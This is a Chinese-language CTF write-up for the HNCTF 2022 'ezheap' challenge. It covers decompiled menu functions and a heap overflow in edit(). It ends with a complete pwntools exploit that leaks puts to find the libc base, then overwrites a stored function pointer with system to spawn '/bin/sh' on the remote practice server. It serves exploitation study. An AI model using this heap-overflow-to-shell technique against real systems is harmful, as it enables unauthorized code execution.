题解前的吐槽:紧拖慢拖还是在前段时间开始学了堆的UAF(虽然栈还没学明白,都好难[擦汗]),一直觉得学的懵懵懂懂,不太敢发题解,这题算是入堆题后一段时间的学习成果,有什么问题各位师傅可以提出来,作者会积极学习改进的[抱拳]
[HNCTF 2022 WEEK4]堆溢出
[HNCTF 2022 WEEK4]
(1)
motaly@motaly-VMware-Virtual-Platform:~$ file ezheap
ezheap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so, BuildID[sha1]=b12e04dbc932d18202bfbea92a529b281e947ec0, for GNU/Linux 3.2.0, not stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=ezheap
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH RW-RUNPATH 85 Symbols No 0 2 ezheap
(2)
更改题目libc版本
motaly@motaly-VMware-Virtual-Platform :~ $ patchelf -- set-interpreter /home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/ld-2.23.so ./ezheap
motaly@motaly-VMware-Virtual-Platform :~ $ patchelf -- set-rpath /home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/ ./ezheap
motaly@motaly-VMware-Virtual-Platform :~ $ ldd ezheap
linux-vdso.so.1 (0x0000746229e5f000)
libc.so.6 => /home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/libc.so.6 (0x0000746229a00000)
/home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/ld-2.23.so =>/lib64/ld-linux-x86-64.so.2 (0x0000746229e61000)
我这里用的是2.23-0ubuntu11.3_amd64
(3)
ida分析
main函数
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int n4; // [rsp+Ch] [rbp-4h]
init_env(argc, argv, envp);
puts("Easy Note.");
while ( 1 )
{
while ( 1 )
{
menu();
n4 = getnum();
if ( n4 != 4 )
break;
edit();
}
if ( n4 > 4 )
{
LABEL_13:
puts("Invalid!");
}
else if ( n4 == 3 )
{
show();
}
else
{
if ( n4 > 3 )
goto LABEL_13;
if ( n4 == 1 )
{
add();
}
else
{
if ( n4 != 2 )
goto LABEL_13;
delete();
}
}
}
}
就一个堆题正常的菜单,有增删改查功能,依次查看
add函数
int add()
{
__int64 v0; // rbx
__int64 v1; // rax
int v3; // [rsp+0h] [rbp-20h]
int size; // [rsp+4h] [rbp-1Ch]
puts("Input your idx:");
v3 = getnum();
puts("Size:");
size = getnum();
if ( (unsigned int)size > 0x100 )
{
LODWORD(v1) = puts("Invalid!");
}
else
{
heaplist[v3] = malloc(0x20uLL); //系统创建0x20大小的堆块
if ( !heaplist[v3] )
{
puts("Malloc Error!");
exit(1);
}
v0 = heaplist[v3];
*(_QWORD *)(v0 + 16) = malloc(size); //创建一个自定义大小的堆块
*(_QWORD *)(heaplist[v3] + 32LL) = &puts; //在0x20大小的堆块起始地址偏移
0x20处写入puts函数地址
if ( !*(_QWORD *)(heaplist[v3] + 16LL) )
{
puts("Malloc Error!");
exit(1);
}
sizelist[v3] = size;
puts("Name: ");
if ( !(unsigned int)read(0, (void *)heaplist[v3], 0x10uLL) )
{
puts("Something error!");
exit(1);
}
puts("Content:");
if ( !(unsigned int)read(0, *(void **)(heaplist[v3] + 16LL), sizelist[v3]) )
{
puts("Error!");
exit(1);
}
puts("Done!");
v1 = heaplist[v3];
*(_DWORD *)(v1 + 24) = 1;
}
return v1;
}
这里会泄露puts函数地址
delete函数
_QWORD *delete()
{
_QWORD *heaplist; // rax
unsigned int n0x10; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
n0x10 = getnum();
if ( n0x10 <= 0x10 && *(_DWORD *)(heaplist[n0x10] + 24LL) )
{
free(*(void **)(heaplist[n0x10] + 16LL));
free((void *)heaplist[n0x10]);
sizelist[n0x10] = 0LL;
*(_DWORD *)(heaplist[n0x10] + 24LL) = 0;
*(_QWORD *)(heaplist[n0x10] + 16LL) = 0LL;
heaplist = heaplist;
heaplist[n0x10] = 0LL;
}
else
{
puts("Error idx!");
return 0LL;
}
return heaplist;
}
没有UAF漏洞
show函数
__int64 show()
{
unsigned int n0x10; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
n0x10 = getnum();
if ( n0x10 < 0x10 && heaplist[n0x10] )
{
(*(void (__fastcall **)(_QWORD))(heaplist[n0x10] + 32LL))(heaplist[n0x10]);
return (*(__int64 (__fastcall **)(_QWORD))(heaplist[n0x10] + 32LL))(*(_QWORD *)(heaplist[n0x10] + 16LL));
}
else
{
puts("Error idx!");
return 0LL;
}
}
正常的输出
edit函数
ssize_t edit()
{
unsigned int n0x10; // [rsp+8h] [rbp-8h]
unsigned int nbytes; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
n0x10 = getnum();
puts("Size:");
nbytes = getnum();
if ( n0x10 <= 0x10 && heaplist[n0x10] && nbytes <= 0x100 )
return read(0, *(void **)(heaplist[n0x10] + 16LL), nbytes);
puts("Error idx!");
return 0LL;
}
这里修改堆块大小只要小于等于0x100,当修改大小大于原本堆块大小时,会造成堆溢出。
(4)
思路:
这题有堆溢出和泄露了puts函数地址
1.我们可以先得到puts函数地址,来获得libc基址
2.然后修改puts函数地址为system函数地址,写入'/bin/sh'
先创建两个堆块(考虑系统创建的0x20大小chunk和我们后面的覆盖大小,这里选择方便一点的0x10大小)
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21013)
io= process('/home/motaly/ezheap')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(index, size, name, content):
io.sendlineafter("Choice:", "1")
io.sendlineafter("Input your idx:", str(index))
io.sendlineafter("Size:", str(size))
io.sendlineafter("Name:", name)
io.sendlineafter("Content:", content)
def delete(index):
io.sendlineafter("Choice:", "2")
io.sendlineafter("Input your idx:", str(index))
def show(index):
io.sendlineafter("Choice:", "3")
io.sendlineafter("Input your idx:", str(index))
def edit(index, size, content):
io.sendlineafter("Choice:", "4")
io.sendlineafter("Input your idx:", str(index))
io.sendlineafter("Size:", str(size))
io.send(content)
add(0, 0x10, "000", "a") #0
add(1, 0x10, "111", "b") #1
可以看到这里0x725a11c6f6a0是puts函数地址
我们需要得到这个地址,edit编辑函数,修改的是堆块内容,所以我们可以从第一个堆块的内容开始覆盖,一直覆盖到第二个堆块的指针处,改写第二个堆块的指针,使其原本指向自己堆块内容的,现在指向puts函数地址,最后通过show函数输出,代码如下
add(0, 0x10, "000", "aaa") #0
add(1, 0x10, "111", "bbb") #1
payload = b'A'*24 + p64(0x31) + b'B'*16 + b'\x80' #0x31长度
edit(0, 0x40, payload)
show(1)
这里的b'A'24是覆盖这一段
p64(0x31)是写入第二个堆块的size大小
b'B'16是正好这一段
最后b'\x80'是改指针的最后一位
这里edit修改堆块的大小是根据payload长度,给的大小不能小于payload长度
最后运行的结果是这样的
能够输出puts函数地址后,就是接收puts函数地址得到libc基址
这里打远程,直接可以用这一段接收
add(0, 0x10, "000", "aaa") #0
add(1, 0x10, "111", "bbb") #1
payload = b'A'*24 + p64(0x31) + b'B'*16 + b'\x80'
edit(0, 0x40, payload)
show(1)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))
但本地我这有点问题,一开始我是这样子写的
io.recv()
libc_base=u64(io.recv(7)[-6:].ljust(8,b'\x00'))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))
gdb.attach(io)
pause()
但是这样子发现他读取了我填充的B值,没读到puts函数地址
经过我的反复修改,最后选择接收到payload最后的80处,然后计算到puts函数地址首位的距离进行读取
io.recvuntil(b'\x80')
libc_base=u64(io.recv(12)[-6:].ljust(8,b'\x00'))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))
20到73总共12位
最后就是跟上面一样,再次edit编辑第一块,这次通过溢处把原先第二块的puts函数的地址改为system函数地址,在第二块name处写入'/bin/sh',最后show输出
system = libc_base + libc.sym["system"]
payload = b'A'*24 + p64(0x31) + b'/bin/sh\x00' + b'B'*24 + p64(system)
edit(0, 0x50, payload)
show(1)
最后汇总的exp脚本如下
from pwn import *
context.log_level = "debug"
io=remote('node5.anna.nssctf.cn',21013)
# io= process('/home/motaly/ezheap')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(index, size, name, content):
io.sendlineafter("Choice:", "1")
io.sendlineafter("Input your idx:", str(index))
io.sendlineafter("Size:", str(size))
io.sendlineafter("Name:", name)
io.sendlineafter("Content:", content)
def delete(index):
io.sendlineafter("Choice:", "2")
io.sendlineafter("Input your idx:", str(index))
def show(index):
io.sendlineafter("Choice:", "3")
io.sendlineafter("Input your idx:", str(index))
def edit(index, size, content):
io.sendlineafter("Choice:", "4")
io.sendlineafter("Input your idx:", str(index))
io.sendlineafter("Size:", str(size))
io.send(content)
add(0, 0x10, "000", "aaa") #0
add(1, 0x10, "111", "bbb") #1
payload = b'A'*24 + p64(0x31) + b'B'*16 + b'\x80'
edit(0, 0x40, payload)
show(1)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))-libc.sym['puts']
# io.recvuntil(b'\x80')
# libc_base=u64(io.recv(12)[-6:].ljust(8,b'\x00'))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))
system = libc_base + libc.sym["system"]
payload = b'A'*24 + p64(0x31) + b'/bin/sh\x00' + b'B'*24 + p64(system)
edit(0, 0x50, payload)
show(1)
io.interactive()